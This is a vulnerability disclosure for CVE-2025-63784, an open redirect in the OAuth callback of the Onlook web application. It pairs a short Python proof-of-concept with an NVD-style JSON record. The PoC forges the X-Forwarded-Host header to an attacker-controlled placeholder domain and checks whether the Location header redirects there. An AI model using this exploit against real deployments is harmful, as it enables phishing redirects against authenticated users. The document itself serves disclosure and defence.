CVE-2025-63784

import requests # CVE-2025-63784 PoC - Open Redirect in Onlook OAuth Callback # Target: Onlook web application 0.2.32 target_url = "http://target-onlook-server.com/auth/callback" malicious_domain = "https://attacker-controlled-site.com" headers = { "X-Forwarded-Host": malicious_domain, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } # Construct OAuth callback request with malicious X-Forwarded-Host params = { "code": "legitimate_oauth_code", "state": "random_state_value" } # Send request with manipulated header response = requests.get(target_url, params=params, headers=headers, allow_redirects=False) print(f"Status Code: {response.status_code}") print(f"Location Header: {response.headers.get('Location')}") # The Location header should point to the attacker-controlled domain if malicious_domain in str(response.headers.get('Location')): print("[+] Open Redirect vulnerability confirmed!") print("[+] User will be redirected to attacker-controlled site")

{"cve": {"id": "CVE-2025-63784", "sourceIdentifier": "[email protected]", "published": "2025-11-07T17:15:47.777", "lastModified": "2025-12-08T16:07:14.933", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Open Redirect vulnerability exists in the OAuth callback handler in file onlook/apps/web/client/src/app/auth/callback/route.ts in Onlook web application 0.2.32. The vulnerability occurs because the application trusts the X-Forwarded-Host header value without proper validation when constructing a redirect URL. A remote attacker can send a manipulated X-Forwarded-Host header to redirect an authenticated user to an arbitrary external website under their control, which can be exploited for phishing attacks."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:onlook:onlook:0.2.32:*:*:*:*:*:*:*", "matchCriteriaId": "6A720EDB-10C0-47F4-BCF5-138FB5124DFA"}]}]}], "references": [{"url": "https://blog.soohyun.tech/CVE-2025-63784-Open-Redirect-in-Onlook-27e557175d2e80ac8641fab59dc36021", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://tossbank.notion.site/Open-Redirect-in-onlook-27e557175d2e80ac8641fab59dc36021", "source": "[email protected]", "tags": ["Broken Link"]}]}}